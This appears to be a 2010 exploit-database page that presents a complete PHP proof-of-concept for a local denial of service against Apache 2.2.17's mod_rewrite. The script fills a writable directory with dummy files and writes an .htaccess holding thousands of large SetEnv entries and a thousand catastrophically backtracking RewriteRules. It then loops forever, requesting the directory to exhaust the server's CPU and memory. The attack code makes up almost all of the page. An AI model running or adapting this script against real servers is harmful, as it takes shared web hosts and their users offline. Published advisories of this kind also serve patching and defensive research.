Apache 2.2.17 Regular Expression DoS (htaccess mod_rewrite local)

2010-12-20 / 2010-12-21
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

<?php /* Version 0.3: Apache 2.2.17 Regular Expression DoS (htaccess mod_rewrite local) Author: Maksymilian Arciemowicz http://cxib.net/ Create this script in writable directory. */ // To connect localy $localhost="127.0.0.1"; // localhost $localport=80; // local port $localuri="/URI/DIR/"; // directory from GET line (where .htaccess is localized) $xa=10000; // * 1024 chars allocated with SetEnv $fa=1000; // mod_rewrite rules $files=1024; // create n files if(!is_writable(".")) die("!writable"); // Phase 1 Create fake file structure while($files--) if(!file_exists("testtesttesttesttesttesttesttest".$files)){ //change test to another name. it help in CPU exhausion $f=fopen("testtesttesttesttesttesttesttest".$files,"a"); fclose($f); } // Phase 2 Create a lot of data with SetEnv to allocate @unlink("./.htaccess"); $htaccess=fopen("./.htaccess", "a"); while($xa--) fwrite($htaccess,"SetEnv XXXXXX".$xa." ".str_repeat("A",1024)."\n"); // alocate a lot of data to memory fwrite($htaccess,"RewriteEngine On\n"); while($fa--) fwrite($htaccess,"RewriteRule ((?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)) /$1\n"); fwrite($htaccess,"\n"); // Phase 3 connect<>disconnect while(1){ $fp = fsockopen($localhost, $localport, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)<br />\n"; } else { $out = "GET ".$localuri." HTTP/1.1\r\n"; $out .= "Host: ".$localhost."\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); fclose($fp); sleep(3); // wait a three seconds } } ?>


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top